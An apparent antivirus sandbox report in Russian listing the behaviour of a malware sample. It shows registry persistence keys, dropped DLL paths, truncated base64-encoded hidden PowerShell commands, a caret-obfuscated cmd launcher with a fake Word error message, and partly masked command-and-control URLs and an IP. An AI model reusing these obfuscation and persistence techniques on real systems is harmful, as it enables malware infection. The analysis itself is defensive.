Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\qfgxqlc.khb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\qfgxqlc.khb] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Owcddcfw\qfgxqlc.khb",Control_RunDLL'
- 'qfgxqlc.khb' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Owcddcfw\qfgxqlc.khb",Control_RunDLL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIALQBGACcAcwBZAHMAdABFACcALAAnAHIAWQAnACwA...
- %HOMEPATH%\jxk4jr_\dhuljgz\d71j.dll
- %WINDIR%\syswow64\owcddcfw\qfgxqlc.khb
- %HOMEPATH%\jxk4jr_\dhuljgz\d71j.dll в %WINDIR%\syswow64\owcddcfw\qfgxqlc.khb
- '15#.#70.79.100':80
- http://sw#####gisticseg.com/wp-admin/VE9h0jj/
- http://15#.#70.79.100/c82z8w72qg4ec6xnca4/qjrg8p67/
- DNS ASK sw#####gisticseg.com
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AdgBhAFIASQBhAGIATABlACAAIAA4AHkAZQAgACgAW...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Jxk4jr_\Dhuljgz\D71J.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Owcddcfw\qfgxqlc.khb",Control_RunDLL